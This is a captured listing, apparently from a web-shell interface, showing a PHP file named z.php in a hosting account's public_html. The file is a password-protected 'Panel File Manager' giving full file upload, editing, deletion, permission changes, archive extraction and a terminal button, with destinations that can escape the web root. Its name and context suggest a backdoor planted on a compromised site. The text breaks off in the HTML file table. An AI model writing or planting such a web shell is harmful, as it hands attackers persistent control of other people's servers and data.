MOON
Server: Apache
System: Linux 54-179-220-51.cprapid.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64
User: thehunarfound (1001)
PHP: 7.4.29
Disabled: NONE
Upload Files
File: /home/thehunarfound/public_html/z.php
<?php
/*
 * ═══════════════════════════════════════════════════════════
 *  PANEL FILE MANAGER v2.0
 *  Single-file PHP file manager for cPanel environments
 * ═══════════════════════════════════════════════════════════
 *  CHANGE THE PASSWORD BELOW BEFORE DEPLOYING!
 * ═══════════════════════════════════════════════════════════
 */

// ╔═══════════════════════════════════════════╗
// ║         CONFIGURATION                      ║
// ╚═══════════════════════════════════════════╝
define('FM_PASSWORD', 'Home@14ME');          // CHANGE THIS!
define('FM_SESSION_NAME', 'fm_session');
define('FM_TITLE', 'Panel File Manager');
define('FM_ROOT', $_SERVER['DOCUMENT_ROOT']); // Starting root directory
define('MAX_UPLOAD_SIZE', 50 * 1024 * 1024);  // 50MB

session_name(FM_SESSION_NAME);
session_start();

// ── Auth ──
$logged_in = isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true;

if (isset($_POST['fm_logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if (isset($_POST['fm_password'])) {
    if ($_POST['fm_password'] === FM_PASSWORD) {
        $_SESSION['fm_auth'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $login_error = 'Invalid password';
    }
}

if (!$logged_in) {
    show_login_page(isset($login_error) ? $login_error : '');
    exit;
}

// ── Path handling ──
$current_path = isset($_GET['path']) ? realpath(urldecode($_GET['path'])) : FM_ROOT;
if (!$current_path || strpos($current_path, FM_ROOT) !== 0) {
    $current_path = FM_ROOT;
}

$message = '';
$msg_type = 'success';

// ╔═══════════════════════════════════════════╗
// ║         ACTION HANDLERS                    ║
// ╚═══════════════════════════════════════════╝

// ── Upload ──
if (isset($_FILES['upload_files'])) {
    $count = 0;
    $files = $_FILES['upload_files'];
    for ($i = 0; $i < count($files['name']); $i++) {
        if ($files['error'][$i] === UPLOAD_ERR_OK) {
            $dest = $current_path . '/' . basename($files['name'][$i]);
            if (move_uploaded_file($files['tmp_name'][$i], $dest)) {
                $count++;
            }
        }
    }
    $message = "Uploaded $count file(s) successfully";
}

// ── Create File ──
if (isset($_POST['new_file_name']) && !empty($_POST['new_file_name'])) {
    $new_file = $current_path . '/' . basename($_POST['new_file_name']);
    if (!file_exists($new_file)) {
        file_put_contents($new_file, isset($_POST['new_file_content']) ? $_POST['new_file_content'] : '');
        $message = "File created: " . basename($new_file);
    } else {
        $message = "File already exists";
        $msg_type = 'error';
    }
}

// ── Create Directory ──
if (isset($_POST['new_dir_name']) && !empty($_POST['new_dir_name'])) {
    $new_dir = $current_path . '/' . basename($_POST['new_dir_name']);
    if (!file_exists($new_dir)) {
        mkdir($new_dir, 0755, true);
        $message = "Directory created: " . basename($new_dir);
    } else {
        $message = "Directory already exists";
        $msg_type = 'error';
    }
}

// ── Delete ──
if (isset($_POST['delete_path'])) {
    $del_path = realpath($_POST['delete_path']);
    if ($del_path && strpos($del_path, FM_ROOT) === 0 && $del_path !== FM_ROOT) {
        if (is_dir($del_path)) {
            delete_dir_recursive($del_path);
            $message = "Deleted directory: " . basename($del_path);
        } else {
            unlink($del_path);
            $message = "Deleted file: " . basename($del_path);
        }
    } else {
        $message = "Cannot delete this path";
        $msg_type = 'error';
    }
}

// ── Rename ──
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
    $from = realpath($_POST['rename_from']);
    $to = dirname($from) . '/' . basename($_POST['rename_to']);
    if ($from && strpos($from, FM_ROOT) === 0) {
        rename($from, $to);
        $message = "Renamed to: " . basename($to);
    }
}

// ── Save File (editor) ──
if (isset($_POST['save_file_path']) && isset($_POST['save_file_content'])) {
    $save_path = realpath($_POST['save_file_path']);
    if ($save_path && strpos($save_path, FM_ROOT) === 0) {
        file_put_contents($save_path, $_POST['save_file_content']);
        $message = "File saved: " . basename($save_path);
    }
}

// ── Change Permissions ──
if (isset($_POST['chmod_path']) && isset($_POST['chmod_value'])) {
    $ch_path = realpath($_POST['chmod_path']);
    if ($ch_path && strpos($ch_path, FM_ROOT) === 0) {
        $perms = octdec($_POST['chmod_value']);
        chmod($ch_path, $perms);
        $message = "Permissions changed: " . basename($ch_path) . " → " . $_POST['chmod_value'];
    }
}

// ── Copy ──
if (isset($_POST['copy_from']) && isset($_POST['copy_to'])) {
    $cp_from = realpath($_POST['copy_from']);
    $cp_to = $_POST['copy_to'];
    if ($cp_from && strpos($cp_from, FM_ROOT) === 0) {
        if (is_dir($cp_from)) {
            copy_dir_recursive($cp_from, $cp_to);
        } else {
            copy($cp_from, $cp_to);
        }
        $message = "Copied to: " . basename($cp_to);
    }
}

// ── Move ──
if (isset($_POST['move_from']) && isset($_POST['move_to'])) {
    $mv_from = realpath($_POST['move_from']);
    $mv_to = $_POST['move_to'];
    if ($mv_from && strpos($mv_from, FM_ROOT) === 0) {
        rename($mv_from, $mv_to);
        $message = "Moved to: " . $mv_to;
    }
}

// ── Extract Archive ──
if (isset($_POST['extract_path'])) {
    $arc_path = realpath($_POST['extract_path']);
    if ($arc_path && strpos($arc_path, FM_ROOT) === 0) {
        $ext = strtolower(pathinfo($arc_path, PATHINFO_EXTENSION));
        $extract_dir = isset($_POST['extract_to']) && !empty($_POST['extract_to'])
            ? $_POST['extract_to']
            : dirname($arc_path);

        if ($ext === 'zip') {
            $zip = new ZipArchive;
            if ($zip->open($arc_path) === TRUE) {
                $zip->extractTo($extract_dir);
                $zip->close();
                $message = "Extracted ZIP to: $extract_dir";
            }
        } elseif (in_array($ext, ['gz', 'tgz', 'tar'])) {
            $cmd = "tar -xf " . escapeshellarg($arc_path) . " -C " . escapeshellarg($extract_dir) . " 2>&1";
            exec($cmd, $output, $ret);
            $message = $ret === 0 ? "Extracted archive to: $extract_dir" : "Extract failed: " . implode("\n", $output);
            $msg_type = $ret === 0 ? 'success' : 'error';
        }
    }
}

// ── Compress ──
if (isset($_POST['compress_path']) && isset($_POST['compress_type'])) {
    $comp_path = realpath($_POST['compress_path']);
    if ($comp_path && strpos($comp_path, FM_ROOT) === 0) {
        $name = basename($comp_path);
        if ($_POST['compress_type'] === 'zip') {
            $out = dirname($comp_path) . '/' . $name . '.zip';
            $zip = new ZipArchive;
            if ($zip->open($out, ZipArchive::CREATE) === TRUE) {
                if (is_dir($comp_path)) {
                    add_dir_to_zip($zip, $comp_path, $name);
                } else {
                    $zip->addFile($comp_path, $name);
                }
                $zip->close();
                $message = "Compressed to: $name.zip";
            }
        } else {
            $out = dirname($comp_path) . '/' . $name . '.tar.gz';
            $cmd = "tar -czf " . escapeshellarg($out) . " -C " . escapeshellarg(dirname($comp_path)) . " " . escapeshellarg($name) . " 2>&1";
            exec($cmd, $output, $ret);
            $message = $ret === 0 ? "Compressed to: $name.tar.gz" : "Compress failed";
            $msg_type = $ret === 0 ? 'success' : 'error';
        }
    }
}

// ── Download ──
if (isset($_GET['download'])) {
    $dl_path = realpath(urldecode($_GET['download']));
    if ($dl_path && strpos($dl_path, FM_ROOT) === 0 && is_file($dl_path)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($dl_path) . '"');
        header('Content-Length: ' . filesize($dl_path));
        readfile($dl_path);
        exit;
    }
}

// ── View/Edit File ──
$editing_file = null;
$file_content = '';
if (isset($_GET['edit'])) {
    $edit_path = realpath(urldecode($_GET['edit']));
    if ($edit_path && strpos($edit_path, FM_ROOT) === 0 && is_file($edit_path)) {
        $editing_file = $edit_path;
        $file_content = file_get_contents($edit_path);
    }
}

// ╔═══════════════════════════════════════════╗
// ║         HELPER FUNCTIONS                   ║
// ╚═══════════════════════════════════════════╝

function delete_dir_recursive($dir) {
    $items = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );
    foreach ($items as $item) {
        $item->isDir() ? rmdir($item->getRealPath()) : unlink($item->getRealPath());
    }
    rmdir($dir);
}

function copy_dir_recursive($src, $dst) {
    $dir = opendir($src);
    @mkdir($dst);
    while (false !== ($file = readdir($dir))) {
        if ($file != '.' && $file != '..') {
            if (is_dir($src . '/' . $file)) {
                copy_dir_recursive($src . '/' . $file, $dst . '/' . $file);
            } else {
                copy($src . '/' . $file, $dst . '/' . $file);
            }
        }
    }
    closedir($dir);
}

function add_dir_to_zip($zip, $dir, $base) {
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::LEAVES_ONLY
    );
    foreach ($files as $file) {
        $filePath = $file->getRealPath();
        $relativePath = $base . '/' . substr($filePath, strlen($dir) + 1);
        $zip->addFile($filePath, $relativePath);
    }
}

function format_size($bytes) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($bytes >= 1024 && $i < 4) {
        $bytes /= 1024;
        $i++;
    }
    return round($bytes, 2) . ' ' . $units[$i];
}

function get_file_icon($filename, $is_dir) {
    if ($is_dir) return '📁';
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = [
        'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'htm' => '🌐',
        'json' => '📋', 'xml' => '📋', 'sql' => '🗄️', 'py' => '🐍', 'rb' => '💎',
        'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️', 'webp' => '🖼️',
        'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗',
        'zip' => '📦', 'tar' => '📦', 'gz' => '📦', 'rar' => '📦', '7z' => '📦',
        'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬',
        'txt' => '📝', 'md' => '📝', 'log' => '📝', 'ini' => '⚙️', 'conf' => '⚙️',
        'sh' => '🖥️', 'bash' => '🖥️', 'env' => '🔒', 'htaccess' => '🔒',
    ];
    return isset($icons[$ext]) ? $icons[$ext] : '📄';
}

function is_editable($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $editable = ['php','js','css','html','htm','json','xml','sql','py','rb','txt','md',
                 'log','ini','conf','sh','bash','env','htaccess','yaml','yml','toml','csv',
                 'ts','jsx','tsx','vue','svg','twig','blade','java','c','cpp','h','go','rs'];
    return in_array($ext, $editable) || strpos(basename($filename), '.') === false;
}

function is_image($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','svg','webp','bmp','ico']);
}

function is_archive($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return in_array($ext, ['zip','tar','gz','tgz','rar','7z']);
}

function get_syntax_mode($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $modes = [
        'php' => 'php', 'js' => 'javascript', 'jsx' => 'javascript', 'ts' => 'typescript',
        'css' => 'css', 'html' => 'htmlmixed', 'htm' => 'htmlmixed', 'xml' => 'xml',
        'json' => 'javascript', 'sql' => 'sql', 'py' => 'python', 'rb' => 'ruby',
        'sh' => 'shell', 'bash' => 'shell', 'md' => 'markdown', 'yaml' => 'yaml',
        'yml' => 'yaml',
    ];
    return isset($modes[$ext]) ? $modes[$ext] : 'text';
}

function get_perms_string($path) {
    $perms = fileperms($path);
    $info = '';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? 'x' : '-');
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? 'x' : '-');
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? 'x' : '-');
    return $info;
}

function self_url($params = []) {
    $url = $_SERVER['PHP_SELF'];
    if (!empty($params)) {
        $url .= '?' . http_build_query($params);
    }
    return $url;
}

// ── Read directory ──
$items = [];
if (is_dir($current_path) && !$editing_file) {
    $scan = @scandir($current_path);
    if ($scan) {
        foreach ($scan as $item) {
            if ($item === '.') continue;
            $full = $current_path . '/' . $item;
            $is_dir = is_dir($full);
            $items[] = [
                'name' => $item,
                'path' => $full,
                'is_dir' => $is_dir,
                'size' => $is_dir ? '-' : format_size(@filesize($full)),
                'size_raw' => $is_dir ? 0 : @filesize($full),
                'modified' => @date('Y-m-d H:i:s', filemtime($full)),
                'perms' => get_perms_string($full),
                'perms_octal' => substr(sprintf('%o', fileperms($full)), -4),
                'owner' => function_exists('posix_getpwuid') ? @posix_getpwuid(fileowner($full))['name'] : fileowner($full),
                'group' => function_exists('posix_getgrgid') ? @posix_getgrgid(filegroup($full))['name'] : filegroup($full),
                'icon' => get_file_icon($item, $is_dir),
            ];
        }
    }
    // Sort: dirs first, then alphabetical
    usort($items, function($a, $b) {
        if ($a['name'] === '..') return -1;
        if ($b['name'] === '..') return 1;
        if ($a['is_dir'] && !$b['is_dir']) return -1;
        if (!$a['is_dir'] && $b['is_dir']) return 1;
        return strcasecmp($a['name'], $b['name']);
    });
}

// ── Breadcrumb ──
function get_breadcrumbs($path) {
    $root = FM_ROOT;
    $relative = substr($path, strlen($root));
    $parts = array_filter(explode('/', $relative));
    $crumbs = [['name' => '~', 'path' => $root]];
    $build = $root;
    foreach ($parts as $part) {
        $build .= '/' . $part;
        $crumbs[] = ['name' => $part, 'path' => $build];
    }
    return $crumbs;
}

// ── Disk info ──
$disk_total = @disk_total_space(FM_ROOT);
$disk_free = @disk_free_space(FM_ROOT);
$disk_used = $disk_total - $disk_free;
$disk_pct = $disk_total > 0 ? round(($disk_used / $disk_total) * 100, 1) : 0;

// ╔═══════════════════════════════════════════╗
// ║         LOGIN PAGE                         ║
// ╚═══════════════════════════════════════════╝

function show_login_page($error = '') {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?= FM_TITLE ?> - Login</title>
<style>
    @import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600&family=DM+Sans:wght@400;500;600&display=swap');
    * { margin:0; padding:0; box-sizing:border-box; }
    body {
        font-family: 'DM Sans', sans-serif;
        background: #0a0a0f;
        color: #e0e0e0;
        min-height: 100vh;
        display: flex;
        align-items: center;
        justify-content: center;
        background-image:
            radial-gradient(ellipse at 20% 50%, rgba(20, 60, 90, 0.3) 0%, transparent 50%),
            radial-gradient(ellipse at 80% 20%, rgba(60, 20, 80, 0.2) 0%, transparent 50%);
    }
    .login-box {
        background: rgba(255,255,255,0.03);
        border: 1px solid rgba(255,255,255,0.06);
        border-radius: 16px;
        padding: 48px 40px;
        width: 380px;
        backdrop-filter: blur(20px);
        box-shadow: 0 25px 60px rgba(0,0,0,0.5);
    }
    .login-box h1 {
        font-family: 'JetBrains Mono', monospace;
        font-size: 14px;
        font-weight: 600;
        color: #6ee7b7;
        letter-spacing: 3px;
        text-transform: uppercase;
        margin-bottom: 8px;
    }
    .login-box p {
        font-size: 13px;
        color: #666;
        margin-bottom: 32px;
    }
    .login-box input[type="password"] {
        width: 100%;
        padding: 14px 16px;
        background: rgba(255,255,255,0.04);
        border: 1px solid rgba(255,255,255,0.08);
        border-radius: 10px;
        color: #fff;
        font-family: 'JetBrains Mono', monospace;
        font-size: 14px;
        outline: none;
        transition: border-color 0.2s;
    }
    .login-box input[type="password"]:focus {
        border-color: #6ee7b7;
    }
    .login-box button {
        width: 100%;
        padding: 14px;
        background: #6ee7b7;
        color: #0a0a0f;
        border: none;
        border-radius: 10px;
        font-family: 'DM Sans', sans-serif;
        font-weight: 600;
        font-size: 14px;
        cursor: pointer;
        margin-top: 16px;
        transition: opacity 0.2s;
    }
    .login-box button:hover { opacity: 0.85; }
    .error-msg {
        background: rgba(239,68,68,0.1);
        border: 1px solid rgba(239,68,68,0.3);
        color: #f87171;
        padding: 10px 14px;
        border-radius: 8px;
        font-size: 13px;
        margin-bottom: 16px;
    }
</style>
</head>
<body>
<div class="login-box">
    <h1><?= FM_TITLE ?></h1>
    <p>Enter password to continue</p>
    <?php if ($error): ?><div class="error-msg"><?= htmlspecialchars($error) ?></div><?php endif; ?>
    <form method="post">
        <input type="password" name="fm_password" placeholder="Password" autofocus>
        <button type="submit">Authenticate</button>
    </form>
</div>
</body>
</html>
<?php
exit;
}

// ╔═══════════════════════════════════════════╗
// ║         MAIN UI                            ║
// ╚═══════════════════════════════════════════╝
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?= FM_TITLE ?></title>
<style>
    @import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;600&family=DM+Sans:ital,wght@0,400;0,500;0,600;0,700;1,400&display=swap');

    :root {
        --bg: #0a0a0f;
        --bg-card: rgba(255,255,255,0.025);
        --bg-hover: rgba(255,255,255,0.04);
        --bg-input: rgba(255,255,255,0.04);
        --border: rgba(255,255,255,0.06);
        --border-hover: rgba(255,255,255,0.12);
        --text: #d4d4d4;
        --text-dim: #666;
        --text-bright: #fff;
        --accent: #6ee7b7;
        --accent-dim: rgba(110,231,183,0.1);
        --danger: #f87171;
        --danger-dim: rgba(248,113,113,0.1);
        --warning: #fbbf24;
        --info: #60a5fa;
        --mono: 'JetBrains Mono', monospace;
        --sans: 'DM Sans', sans-serif;
        --radius: 10px;
        --radius-sm: 6px;
    }

    * { margin:0; padding:0; box-sizing:border-box; }

    body {
        font-family: var(--sans);
        background: var(--bg);
        color: var(--text);
        font-size: 13px;
        line-height: 1.5;
        min-height: 100vh;
    }

    /* ── HEADER ── */
    .header {
        display: flex;
        align-items: center;
        justify-content: space-between;
        padding: 16px 24px;
        border-bottom: 1px solid var(--border);
        background: rgba(0,0,0,0.3);
        backdrop-filter: blur(10px);
        position: sticky;
        top: 0;
        z-index: 100;
    }
    .header-left { display: flex; align-items: center; gap: 16px; }
    .header h1 {
        font-family: var(--mono);
        font-size: 13px;
        font-weight: 600;
        color: var(--accent);
        letter-spacing: 2px;
        text-transform: uppercase;
    }
    .header-info {
        display: flex;
        align-items: center;
        gap: 20px;
        font-size: 12px;
        color: var(--text-dim);
    }
    .header-info span { display: flex; align-items: center; gap: 6px; }
    .disk-bar {
        width: 80px; height: 4px;
        background: rgba(255,255,255,0.06);
        border-radius: 2px;
        overflow: hidden;
    }
    .disk-bar-fill { height: 100%; background: var(--accent); border-radius: 2px; }
    .btn-logout {
        background: rgba(248,113,113,0.1);
        color: var(--danger);
        border: 1px solid rgba(248,113,113,0.2);
        padding: 6px 14px;
        border-radius: var(--radius-sm);
        font-size: 12px;
        cursor: pointer;
        font-family: var(--sans);
        transition: all 0.2s;
    }
    .btn-logout:hover { background: rgba(248,113,113,0.2); }

    /* ── TOOLBAR ── */
    .toolbar {
        display: flex;
        align-items: center;
        gap: 8px;
        padding: 12px 24px;
        border-bottom: 1px solid var(--border);
        flex-wrap: wrap;
    }
    .breadcrumbs {
        display: flex;
        align-items: center;
        gap: 4px;
        flex: 1;
        min-width: 200px;
        overflow-x: auto;
        font-family: var(--mono);
        font-size: 12px;
    }
    .breadcrumbs a {
        color: var(--text-dim);
        text-decoration: none;
        padding: 4px 8px;
        border-radius: 4px;
        transition: all 0.15s;
        white-space: nowrap;
    }
    .breadcrumbs a:hover { color: var(--accent); background: var(--accent-dim); }
    .breadcrumbs a.active { color: var(--text-bright); }
    .breadcrumbs .sep { color: var(--text-dim); opacity: 0.3; }
    .toolbar-actions { display: flex; gap: 6px; }

    /* ── BUTTONS ── */
    .btn {
        display: inline-flex;
        align-items: center;
        gap: 6px;
        padding: 7px 14px;
        border: 1px solid var(--border);
        border-radius: var(--radius-sm);
        background: var(--bg-card);
        color: var(--text);
        font-family: var(--sans);
        font-size: 12px;
        cursor: pointer;
        transition: all 0.15s;
        white-space: nowrap;
    }
    .btn:hover { border-color: var(--border-hover); background: var(--bg-hover); color: var(--text-bright); }
    .btn-accent { background: var(--accent-dim); border-color: rgba(110,231,183,0.2); color: var(--accent); }
    .btn-accent:hover { background: rgba(110,231,183,0.2); }
    .btn-danger { background: var(--danger-dim); border-color: rgba(248,113,113,0.2); color: var(--danger); }
    .btn-danger:hover { background: rgba(248,113,113,0.2); }
    .btn-sm { padding: 4px 10px; font-size: 11px; }

    /* ── MESSAGE ── */
    .message {
        margin: 12px 24px;
        padding: 10px 16px;
        border-radius: var(--radius-sm);
        font-size: 12px;
        animation: slideIn 0.3s ease;
    }
    .message.success { background: var(--accent-dim); border: 1px solid rgba(110,231,183,0.2); color: var(--accent); }
    .message.error { background: var(--danger-dim); border: 1px solid rgba(248,113,113,0.2); color: var(--danger); }
    @keyframes slideIn { from { opacity:0; transform:translateY(-8px); } to { opacity:1; transform:translateY(0); } }

    /* ── TABLE ── */
    .file-table-wrap { padding: 0 24px 24px; overflow-x: auto; }
    table.file-table {
        width: 100%;
        border-collapse: collapse;
        font-size: 13px;
    }
    table.file-table thead th {
        padding: 10px 12px;
        text-align: left;
        font-size: 10px;
        font-weight: 600;
        text-transform: uppercase;
        letter-spacing: 1px;
        color: var(--text-dim);
        border-bottom: 1px solid var(--border);
        position: sticky;
        top: 57px;
        background: var(--bg);
        z-index: 10;
    }
    table.file-table tbody tr {
        border-bottom: 1px solid rgba(255,255,255,0.02);
        transition: background 0.1s;
    }
    table.file-table tbody tr:hover { background: var(--bg-hover); }
    table.file-table td { padding: 8px 12px; vertical-align: middle; }
    td.name-cell { font-family: var(--mono); font-size: 12px; }
    td.name-cell a {
        color: var(--text);
        text-decoration: none;
        display: inline-flex;
        align-items: center;
        gap: 8px;
        transition: color 0.15s;
    }
    td.name-cell a:hover { color: var(--accent); }
    td.name-cell .dir-link { color: var(--accent); }
    td.size-cell { font-family: var(--mono); font-size: 11px; color: var(--text-dim); text-align: right; }
    td.date-cell { font-family: var(--mono); font-size: 11px; color: var(--text-dim); }
    td.perms-cell { font-family: var(--mono); font-size: 11px; color: var(--text-dim); }
    td.owner-cell { font-size: 11px; color: var(--text-dim); }
    td.actions-cell {
        display: flex;
        gap: 4px;
        justify-content: flex-end;
        opacity: 0.4;
        transition: opacity 0.15s;
    }
    tr:hover td.actions-cell { opacity: 1; }

    /* ── MODALS ── */
    .modal-overlay {
        display: none;
        position: fixed;
        inset: 0;
        background: rgba(0,0,0,0.7);
        backdrop-filter: blur(4px);
        z-index: 1000;
        align-items: center;
        justify-content: center;
    }
    .modal-overlay.active { display: flex; }
    .modal {
        background: #13131a;
        border: 1px solid var(--border);
        border-radius: var(--radius);
        padding: 28px;
        width: 90%;
        max-width: 480px;
        box-shadow: 0 25px 60px rgba(0,0,0,0.6);
        animation: modalIn 0.2s ease;
    }
    @keyframes modalIn { from { opacity:0; transform:scale(0.95) translateY(10px); } }
    .modal h3 {
        font-size: 15px;
        font-weight: 600;
        margin-bottom: 16px;
        color: var(--text-bright);
    }
    .modal label {
        display: block;
        font-size: 11px;
        color: var(--text-dim);
        text-transform: uppercase;
        letter-spacing: 1px;
        margin-bottom: 6px;
        margin-top: 12px;
    }
    .modal input[type="text"], .modal select {
        width: 100%;
        padding: 10px 12px;
        background: var(--bg-input);
        border: 1px solid var(--border);
        border-radius: var(--radius-sm);
        color: var(--text-bright);
        font-family: var(--mono);
        font-size: 12px;
        outline: none;
        transition: border-color 0.2s;
    }
    .modal input:focus, .modal select:focus { border-color: var(--accent); }
    .modal-actions { display: flex; gap: 8px; margin-top: 20px; justify-content: flex-end; }

    /* ── EDITOR ── */
    .editor-wrap { padding: 0 24px 24px; }
    .editor-header {
        display: flex;
        align-items: center;
        justify-content: space-between;
        padding: 12px 0;
    }
    .editor-filename {
        font-family: var(--mono);
        font-size: 13px;
        color: var(--accent);
        display: flex;
        align-items: center;
        gap: 8px;
    }
    .editor-textarea {
        width: 100%;
        min-height: 60vh;
        padding: 20px;
        background: rgba(0,0,0,0.3);
        border: 1px solid var(--border);
        border-radius: var(--radius);
        color: #e0e0e0;
        font-family: var(--mono);
        font-size: 13px;
        line-height: 1.7;
        outline: none;
        resize: vertical;
        tab-size: 4;
    }
    .editor-textarea:focus { border-color: var(--accent); }

    /* ── IMAGE PREVIEW ── */
    .img-preview {
        max-width: 100%;
        max-height: 400px;
        border-radius: var(--radius);
        border: 1px solid var(--border);
        margin: 12px 0;
    }

    /* ── RESPONSIVE ── */
    @media (max-width: 768px) {
        .header { padding: 12px 16px; }
        .toolbar { padding: 10px 16px; }
        .file-table-wrap { padding: 0 16px 16px; }
        .header-info { display: none; }
        td.perms-cell, td.owner-cell, td.date-cell { display: none; }
    }

    /* ── SCROLLBAR ── */
    ::-webkit-scrollbar { width: 6px; height: 6px; }
    ::-webkit-scrollbar-track { background: transparent; }
    ::-webkit-scrollbar-thumb { background: rgba(255,255,255,0.1); border-radius: 3px; }
    ::-webkit-scrollbar-thumb:hover { background: rgba(255,255,255,0.2); }

    /* ── DRAG & DROP ── */
    .drop-zone {
        border: 2px dashed var(--border);
        border-radius: var(--radius);
        padding: 40px 20px;
        text-align: center;
        color: var(--text-dim);
        font-size: 13px;
        transition: all 0.2s;
        margin: 12px 24px;
        display: none;
    }
    .drop-zone.active { display: block; }
    .drop-zone.dragover {
        border-color: var(--accent);
        background: var(--accent-dim);
        color: var(--accent);
    }
</style>
</head>
<body>

<!-- ═══ HEADER ═══ -->
<div class="header">
    <div class="header-left">
        <h1><?= FM_TITLE ?></h1>
    </div>
    <div class="header-info">
        <span>
            Disk: <?= format_size($disk_used) ?> / <?= format_size($disk_total) ?>
            <div class="disk-bar"><div class="disk-bar-fill" style="width:<?= $disk_pct ?>%"></div></div>
            <?= $disk_pct ?>%
        </span>
        <span>PHP <?= phpversion() ?></span>
        <span><?= php_uname('n') ?></span>
    </div>
    <form method="post" style="display:inline">
        <button type="submit" name="fm_logout" class="btn-logout">Logout</button>
    </form>
</div>

<?php if ($message): ?>
<div class="message <?= $msg_type ?>"><?= htmlspecialchars($message) ?></div>
<?php endif; ?>

<?php if ($editing_file): ?>
<!-- ═══ EDITOR MODE ═══ -->
<div class="toolbar">
    <div class="breadcrumbs">
        <a href="<?= self_url(['path' => dirname($editing_file)]) ?>">← Back</a>
    </div>
</div>
<div class="editor-wrap">
    <div class="editor-header">
        <div class="editor-filename">
            <?= get_file_icon(basename($editing_file), false) ?>
            <?= htmlspecialchars(basename($editing_file)) ?>
            <span style="color:var(--text-dim); font-size:11px">(<?= format_size(filesize($editing_file)) ?>)</span>
        </div>
        <div style="display:flex; gap:8px;">
            <a href="<?= self_url(['download' => $editing_file]) ?>" class="btn btn-sm">⬇ Download</a>
        </div>
    </div>

    <?php if (is_image($editing_file)): ?>
        <img src="data:image/<?= pathinfo($editing_file, PATHINFO_EXTENSION) ?>;base64,<?= base64_encode(file_get_contents($editing_file)) ?>" class="img-preview" alt="">
    <?php endif; ?>

    <form method="post">
        <input type="hidden" name="save_file_path" value="<?= htmlspecialchars($editing_file) ?>">
        <textarea name="save_file_content" class="editor-textarea" spellcheck="false"><?= htmlspecialchars($file_content) ?></textarea>
        <div style="margin-top:12px; display:flex; gap:8px; justify-content:flex-end;">
            <a href="<?= self_url(['path' => dirname($editing_file)]) ?>" class="btn">Cancel</a>
            <button type="submit" class="btn btn-accent">💾 Save File</button>
        </div>
    </form>
</div>

<?php else: ?>
<!-- ═══ FILE BROWSER MODE ═══ -->
<div class="toolbar">
    <div class="breadcrumbs">
        <?php $crumbs = get_breadcrumbs($current_path); ?>
        <?php foreach ($crumbs as $i => $c): ?>
            <?php if ($i > 0): ?><span class="sep">/</span><?php endif; ?>
            <a href="<?= self_url(['path' => $c['path']]) ?>" class="<?= $i === count($crumbs)-1 ? 'active' : '' ?>">
                <?= htmlspecialchars($c['name']) ?>
            </a>
        <?php endforeach; ?>
    </div>
    <div class="toolbar-actions">
        <button class="btn btn-accent" onclick="showModal('new-file-modal')">+ File</button>
        <button class="btn btn-accent" onclick="showModal('new-dir-modal')">+ Folder</button>
        <button class="btn" onclick="toggleUpload()">⬆ Upload</button>
        <button class="btn" onclick="showModal('terminal-modal')">⌨ Terminal</button>
    </div>
</div>

<!-- Upload Drop Zone -->
<div class="drop-zone" id="drop-zone">
    <form method="post" enctype="multipart/form-data" id="upload-form">
        <p style="margin-bottom:12px">Drag files here or click to select</p>
        <input type="file" name="upload_files[]" multiple id="file-input" style="display:none" onchange="this.form.submit()">
        <button type="button" class="btn btn-accent" onclick="document.getElementById('file-input').click()">Choose Files</button>
    </form>
</div>

<!-- File Table -->
<div class="file-table-wrap">
<table class="file-table">
    <thead>
        <tr>
            <th>Name</th>
            <th style="text-align:right">Size</th>
            <th>Modified</th>
            <th>Perms</th>
            <th>Owner</th>
            <th style="text-align:right">Actions</th>
        </tr>
    </thead>
    <tbody>
    <?php foreach ($items as $item): ?>
        <tr>
            <td class="name-cell">
                <?php if ($item['is_dir']): ?>
                    <a href="<?= self_url(['path' => $item['path']]) ?>" class="dir-link">
                        <?= $item['icon'] ?> <?= htmlspecialchars($item['name']) ?>
                    </a>
                <?php else: ?>
                    <a href="<?= is_editable($item['name']) ? self_url(['edit' => $item['path']]) : self_url(['download' => $item['path']]) ?>">
                        <?= $item['icon'] ?> <?= htmlspecialchars($item['name']) ?>
                    </a>
                <?php endif; ?>
            </td>
            <td class="size-cell"><?= $item['size'] ?></td>
